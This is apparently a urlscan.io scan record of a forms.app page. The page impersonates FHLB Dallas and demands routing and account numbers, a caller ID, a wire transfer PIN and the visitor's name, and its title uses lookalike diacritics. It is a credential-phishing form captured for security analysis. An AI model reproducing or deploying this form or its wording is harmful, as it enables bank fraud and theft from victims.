forms.app Open in urlscan Pro
2606:4700:20::681a:314  Public Scan

URL: https://forms.app/form/6526b21c148cac334364c1dc
Submission: On October 11 via manual from US — Scanned from DE

Form analysis 1 forms found in the DOM

<form data-v-4f2323c6="" class="i-form"><!----> <!---->
  <div data-v-20672919="" data-v-4f2323c6="" class="form-header-wrapper">
    <div data-v-20672919="" class="form-title view">
      <h1 data-v-20672919="" class="form-title break-word">You Must Complete The FHLB Dallas Fo̩rm Belo̩w To Accept New Terms and Condition.</h1>
    </div> <!---->
    <ul data-v-d99d5348="" data-v-20672919="" id="i-dropdown-6526e36ad647c70e79fa3bbc" class="i-dropdown dropdown-content title-dropdown-content" style="inset: auto; position: absolute; display: none;">
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        <a data-v-20672919=""><i data-v-08209afc="" data-v-20672919="" class="i-icon"><svg xmlns="http://www.w3.org/2000/svg" preserveAspectRatio="xMidYMid meet" viewBox="0 0 512 512"><path d="M497.9 97.98L414.02 14.1c-9-9-21.2-14.1-33.89-14.1H175.99C149.5.1 128 21.6 128 48.09V288H8c-4.42 0-8 3.58-8 8v16c0 4.42 3.58 8 8 8h248v52.67c0 10.98 6.38 20.55 16.69 24.97 14.93 6.45 26.88-1.61 30.88-5.39l71.72-68.12c5.62-5.33 8.72-12.48 8.72-20.12s-3.09-14.8-8.69-20.11l-71.78-68.16c-8.28-7.8-20.41-9.88-30.84-5.38-10.31 4.42-16.69 13.98-16.69 24.97V288H160V48.09c0-8.8 7.2-16.09 16-16.09h176.04v104.07c0 13.3 10.7 23.93 24 23.93h103.98v304.01c0 8.8-7.2 16-16 16H175.99c-8.8 0-16-7.2-16-16V352H128v112.01c0 26.49 21.5 47.99 47.99 47.99h288.02c26.49 0 47.99-21.5 47.99-47.99V131.97c0-12.69-5.1-24.99-14.1-33.99zM288 245.12L350 304l-62 58.88V245.12zm96.03-117.05V32.59c2.8.7 5.3 2.1 7.4 4.2l83.88 83.88c2.1 2.1 3.5 4.6 4.2 7.4h-95.48z"></path></svg></i> <span data-v-20672919="">Import Form</span></a>
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    <div data-v-58002d0f="" data-v-4f2323c6="" class="question required" type="view" id="6526b30c9d15e2a54ab41272">
      <div data-v-58002d0f="" class="question-card-scroll"><!---->
        <div data-v-58002d0f="" class="question-card-wrapper">
          <div data-v-58002d0f="" class="question-card">
            <div data-v-58002d0f="" class="question-card-inner">
              <div data-v-58002d0f="" class="question-info"><span data-v-58002d0f="" class="question-order">1.</span>
                <div data-v-58002d0f="" class="question-title-wrapper">
                  <div data-v-58002d0f="" class="question-title">
                    <p data-v-58002d0f="" class="editable-input view">Enter Your Correct Routing Number for your Financial Institution</p>
                  </div> <!---->
                </div> <!---->
              </div>
              <div data-v-4f2323c6="" class="question-body question-wrapper required" data-order="1" setappvuevariable="function () { [native code] }" data-v-58002d0f="">
                <div data-v-8e5ca0d4="" class="input-field i-text input prepend-icon success-input-wrapper">
                  <div data-v-8e5ca0d4="">
                    <i data-v-08209afc="" data-v-8e5ca0d4="" class="icon-left i-icon"><svg xmlns="http://www.w3.org/2000/svg" preserveAspectRatio="xMidYMid meet" viewBox="0 0 448 512"><path d="M448 48v72a8 8 0 0 1-8 8h-16a8 8 0 0 1-8-8V64H240v384h72a8 8 0 0 1 8 8v16a8 8 0 0 1-8 8H136a8 8 0 0 1-8-8v-16a8 8 0 0 1 8-8h72V64H32v56a8 8 0 0 1-8 8H8a8 8 0 0 1-8-8V48a16 16 0 0 1 16-16h416a16 16 0 0 1 16 16z"></path></svg></i>
                    <input data-v-8e5ca0d4="" id="i-text-1" required="required" type="text" class="f-input"> <!----> <!----> <!----> <!----></div>
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    <div data-v-58002d0f="" data-v-4f2323c6="" class="question required" type="view" id="6526b3189d15e2a54ab4127c">
      <div data-v-58002d0f="" class="question-card-scroll"><!---->
        <div data-v-58002d0f="" class="question-card-wrapper">
          <div data-v-58002d0f="" class="question-card">
            <div data-v-58002d0f="" class="question-card-inner">
              <div data-v-58002d0f="" class="question-info"><span data-v-58002d0f="" class="question-order">2.</span>
                <div data-v-58002d0f="" class="question-title-wrapper">
                  <div data-v-58002d0f="" class="question-title">
                    <p data-v-58002d0f="" class="editable-input view">Enter Your Correct Account Number at <span>FHLB&nbsp;</span>Dallas </p>
                  </div> <!---->
                </div> <!---->
              </div>
              <div data-v-4f2323c6="" class="question-body question-wrapper required" data-order="2" setappvuevariable="function () { [native code] }" data-v-58002d0f="">
                <div data-v-8e5ca0d4="" class="input-field i-text input prepend-icon success-input-wrapper">
                  <div data-v-8e5ca0d4="">
                    <i data-v-08209afc="" data-v-8e5ca0d4="" class="icon-left i-icon"><svg xmlns="http://www.w3.org/2000/svg" preserveAspectRatio="xMidYMid meet" viewBox="0 0 448 512"><path d="M448 48v72a8 8 0 0 1-8 8h-16a8 8 0 0 1-8-8V64H240v384h72a8 8 0 0 1 8 8v16a8 8 0 0 1-8 8H136a8 8 0 0 1-8-8v-16a8 8 0 0 1 8-8h72V64H32v56a8 8 0 0 1-8 8H8a8 8 0 0 1-8-8V48a16 16 0 0 1 16-16h416a16 16 0 0 1 16 16z"></path></svg></i>
                    <input data-v-8e5ca0d4="" id="i-text-2" required="required" type="text" class="f-input"> <!----> <!----> <!----> <!----></div>
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          </div>
        </div>
      </div>
    </div>
    <div data-v-58002d0f="" data-v-4f2323c6="" class="question required" type="view" id="6526b3149d15e2a54ab4127b">
      <div data-v-58002d0f="" class="question-card-scroll"><!---->
        <div data-v-58002d0f="" class="question-card-wrapper">
          <div data-v-58002d0f="" class="question-card">
            <div data-v-58002d0f="" class="question-card-inner">
              <div data-v-58002d0f="" class="question-info"><span data-v-58002d0f="" class="question-order">3.</span>
                <div data-v-58002d0f="" class="question-title-wrapper">
                  <div data-v-58002d0f="" class="question-title">
                    <p data-v-58002d0f="" class="editable-input view">Enter Your Correct Caller ID</p>
                  </div> <!---->
                </div> <!---->
              </div>
              <div data-v-4f2323c6="" class="question-body question-wrapper required" data-order="3" setappvuevariable="function () { [native code] }" data-v-58002d0f="">
                <div data-v-8e5ca0d4="" class="input-field i-text input prepend-icon success-input-wrapper">
                  <div data-v-8e5ca0d4="">
                    <i data-v-08209afc="" data-v-8e5ca0d4="" class="icon-left i-icon"><svg xmlns="http://www.w3.org/2000/svg" preserveAspectRatio="xMidYMid meet" viewBox="0 0 448 512"><path d="M448 48v72a8 8 0 0 1-8 8h-16a8 8 0 0 1-8-8V64H240v384h72a8 8 0 0 1 8 8v16a8 8 0 0 1-8 8H136a8 8 0 0 1-8-8v-16a8 8 0 0 1 8-8h72V64H32v56a8 8 0 0 1-8 8H8a8 8 0 0 1-8-8V48a16 16 0 0 1 16-16h416a16 16 0 0 1 16 16z"></path></svg></i>
                    <input data-v-8e5ca0d4="" id="i-text-3" required="required" type="text" class="f-input"> <!----> <!----> <!----> <!----></div>
                </div>
              </div> <!---->
            </div>
          </div>
        </div>
      </div>
    </div>
    <div data-v-58002d0f="" data-v-4f2323c6="" class="question required" type="view" id="6526b3139d15e2a54ab4127a">
      <div data-v-58002d0f="" class="question-card-scroll"><!---->
        <div data-v-58002d0f="" class="question-card-wrapper">
          <div data-v-58002d0f="" class="question-card">
            <div data-v-58002d0f="" class="question-card-inner">
              <div data-v-58002d0f="" class="question-info"><span data-v-58002d0f="" class="question-order">4.</span>
                <div data-v-58002d0f="" class="question-title-wrapper">
                  <div data-v-58002d0f="" class="question-title">
                    <p data-v-58002d0f="" class="editable-input view">Enter Your Correct Wire Transfer PIN</p>
                  </div> <!---->
                </div> <!---->
              </div>
              <div data-v-4f2323c6="" class="question-body question-wrapper required" data-order="4" setappvuevariable="function () { [native code] }" data-v-58002d0f="">
                <div data-v-8e5ca0d4="" class="input-field i-text input prepend-icon success-input-wrapper">
                  <div data-v-8e5ca0d4="">
                    <i data-v-08209afc="" data-v-8e5ca0d4="" class="icon-left i-icon"><svg xmlns="http://www.w3.org/2000/svg" preserveAspectRatio="xMidYMid meet" viewBox="0 0 448 512"><path d="M448 48v72a8 8 0 0 1-8 8h-16a8 8 0 0 1-8-8V64H240v384h72a8 8 0 0 1 8 8v16a8 8 0 0 1-8 8H136a8 8 0 0 1-8-8v-16a8 8 0 0 1 8-8h72V64H32v56a8 8 0 0 1-8 8H8a8 8 0 0 1-8-8V48a16 16 0 0 1 16-16h416a16 16 0 0 1 16 16z"></path></svg></i>
                    <input data-v-8e5ca0d4="" id="i-text-4" required="required" type="text" class="f-input"> <!----> <!----> <!----> <!----></div>
                </div>
              </div> <!---->
            </div>
          </div>
        </div>
      </div>
    </div>
    <div data-v-58002d0f="" data-v-4f2323c6="" class="question required" type="view" id="6526b3129d15e2a54ab41279">
      <div data-v-58002d0f="" class="question-card-scroll"><!---->
        <div data-v-58002d0f="" class="question-card-wrapper">
          <div data-v-58002d0f="" class="question-card">
            <div data-v-58002d0f="" class="question-card-inner">
              <div data-v-58002d0f="" class="question-info"><span data-v-58002d0f="" class="question-order">5.</span>
                <div data-v-58002d0f="" class="question-title-wrapper">
                  <div data-v-58002d0f="" class="question-title">
                    <p data-v-58002d0f="" class="editable-input view">Enter Your Full Name</p>
                  </div> <!---->
                </div> <!---->
              </div>
              <div data-v-4f2323c6="" class="question-body question-wrapper required" data-order="5" setappvuevariable="function () { [native code] }" data-v-58002d0f="">
                <div data-v-8e5ca0d4="" class="input-field i-text input prepend-icon success-input-wrapper">
                  <div data-v-8e5ca0d4="">
                    <i data-v-08209afc="" data-v-8e5ca0d4="" class="icon-left i-icon"><svg xmlns="http://www.w3.org/2000/svg" preserveAspectRatio="xMidYMid meet" viewBox="0 0 448 512"><path d="M448 48v72a8 8 0 0 1-8 8h-16a8 8 0 0 1-8-8V64H240v384h72a8 8 0 0 1 8 8v16a8 8 0 0 1-8 8H136a8 8 0 0 1-8-8v-16a8 8 0 0 1 8-8h72V64H32v56a8 8 0 0 1-8 8H8a8 8 0 0 1-8-8V48a16 16 0 0 1 16-16h416a16 16 0 0 1 16 16z"></path></svg></i>
                    <input data-v-8e5ca0d4="" id="i-text-5" required="required" type="text" class="f-input"> <!----> <!----> <!----> <!----></div>
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      </div>
    </div>
  </div> <!---->
  <div data-v-5e326edf="" data-v-4f2323c6="" class="question submitbutton center">
    <div data-v-5e326edf="" class="question-body center"><!----> <!----> <!---->
      <div data-v-5e326edf="" class="submit-button center">
        <div data-v-51d95af9="" data-v-5e326edf="" tabindex="0" class="i-button"><!---->
          <div data-v-51d95af9="" class="text-wrapper"> Submit </div> <!---->
        </div> <!---->
      </div>
    </div>
  </div>
</form>

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YOU MUST COMPLETE THE FHLB DALLAS FO̩RM BELO̩W TO ACCEPT NEW TERMS AND
CONDITION.

 * Import Form

1.

Enter Your Correct Routing Number for your Financial Institution


2.

Enter Your Correct Account Number at FHLB Dallas


3.

Enter Your Correct Caller ID


4.

Enter Your Correct Wire Transfer PIN


5.

Enter Your Full Name


Submit

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